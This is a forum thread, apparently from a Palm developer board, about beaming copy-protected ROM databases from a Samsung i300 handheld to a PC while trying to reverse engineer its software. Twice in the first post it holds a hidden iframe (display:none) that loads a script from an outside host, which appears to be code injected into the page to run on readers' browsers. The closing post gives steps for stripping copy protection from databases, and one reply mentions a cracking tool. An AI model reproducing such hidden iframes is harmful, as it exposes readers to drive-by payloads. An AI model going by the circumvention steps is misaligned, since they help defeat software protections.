Hey Palm Developers! On my first step to reverse engineering i300 software I am at am impass. I have loaded FILEZ onto my i300. The software seems to work fine. When I choose to beam an app to my pc the i300 never connects to my pc (thinkpad 770z).
I have tried an all out hotsync between to two and that worked fine. I just can't beam from the FILEZ app. The result of the beam is always "Could not find a receiving handheld computer." I'm using win98 if it matters.
Your help much appreciated!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
I thought this problem might be with FILEZ specifically (or with locked, ROM, applications). However, I just realized that this is a basic problem. I can't beam anything from any application (I tried to beam a memo, no luck).
So, how come I can hotsync via ir using the hotsync application but I can't beam?
Should I be running some kind of beam receiving software on my pc similar to hot sync manager? :confused:
In order to receive a "beam" from your i300 you need an IRComm stack loaded on your PC/Mac and an IR device (pretty standard on laptops).
I am not clear on what the various MS OSs have installed standard, but for most of them you should be able to download the IRComm stack. NT is a little different story. The only IRComm stack I was able to locate is from "Extended Systems" and it is called QuickBeam. For non-NT systems you should simply be able to use the IR Control Panel (you may need to install or download from MS).
Once you have the IR Control Panel installed simply turn it on. Then you can bean from your i300 to your PC/Mac.
Making some progress. I had some configuration problems with my pc. That fixed, now can beam a memo. However, when I try to beam from FILEZ my pc looks like it has a connection and is receiving data but something is wrong. It just sits there (apparently) beaming forever. Looking Task Manager reveals that the CPU is max'ed out at 100% and svchost.exe is using all the cycles. If I cancel the beam svchost does not release the cpu (clearly it's in some deadlock or endless loop situation).
Anyone have any debugging ideas? I'd really like to see what's going on on the ir channel.
Ok. I've poked around at this too much. I can beam from all sorts of programs but I just can't beam from FILEZ. I've tried v3 and v4.01 and no luck.
There are many other apps available that can beam resources but none that I have found will beam a Copy-Protected resource.
Maybe I have a PC configuration problem, but at this point I think there is a bug in FILEZ... prove me wrong! :)
I can't go about reverse engineering something I can't get into. I have installed a Disassembler (by Harold Myrvang) and I can disassemble on the i300... but it's difficult to deal with. The absolute best way to reverse engineer will be to get enough of the i300 into the Palm Emulator in order to watch execution. I know that the Emulator will not support all the stuff in the i300 (e.g. interfaces to the Samsung hardware) but I can deal with that as execution meets a failure point (I can write stubs to simulate the hardware to continue execution). Anyway, most of what I'd like to RE is likely all soft anyway.
So, if you can beam a Copy-Protected resource from your i300 I'd like to know about it (apparently Jake can :mad:) Whether you use FILEZ or some other application.
hey andy,
i don't know if this will help, but i have a program on my phone called beamcrack, which for some programs, can unlock them so they can be beamed. still, i don't know if it will work on non-apps.
its funny that you can beam from every program BUT filez......
i'll try it and see if can beam to another palm since i can't beam to my pc - i don't have an IR port
On thinking about it further, there must be something that FILEZ is doing differently than other applications as far as beaming is concerned. Each time I try to beam from FILEZ my svchost.exe max's out the cpu. I have a win2k sr2 installation; perhaps there *is* something wrong on my pc (older or incompatable stuff). Since my job is software engineering consulting I load and unload a lot of complex software on my pc so who knows.
I'd really like to see if others can beam ok so I can isolate the problem to my (particular) pc. I'll try to beam to other pc's/pda's tomorrow when I'll be able to make it to the office.
It's really disconcerting when things like this happen but I know to persevere when times are tough.
Your pc must have an ir port either built in or connected to either a parallel port or a USB port. If you're using a desktop the odds of having an ir port out of the box (unless you specifically purchased one) are pretty low. I don't think I've ever seen a desktop with an ir port built in or shipped with.
I am using a laptop (thinkpad 770z). Most decent laptops shipping have the ir port built in (a small red plastic covered window on one of the sides of the laptop).
FOUND! A method for beaming copy protected databases
After an exhausting search for other methods to do what Jake can do cleanly with FILEZ I have found a viable solution! Check this out...
1. Download and install SuperUtility from http://www.handmark.com/products/superutility/ You'll have to buy it if you want to use it for more than 30 days, but it might be well worth the investment.
2. Use SuperUtility to copy the database you need to beam into Samsung RAM. I chose PhExtn and copied it to PhExtn1.
3. Use FILEZ to clear the following attributes of the database copy: Copy Protected, Hidden.
4. Return to the Palm Launcher and you should see the copy of your database on the Launcher (unfiled) as a result of clearing the Hidden attribute.
5. Use the standard App->Beam... option from the Launcher and viola! A beamed copy of the ROM database arrives on your pc desktop!
6. Delete the copied database from the desktop using App->Delete... from the Launcher (you don't need it anymore; the original database is still in ROM and you can't delete that if you tried so don't worry).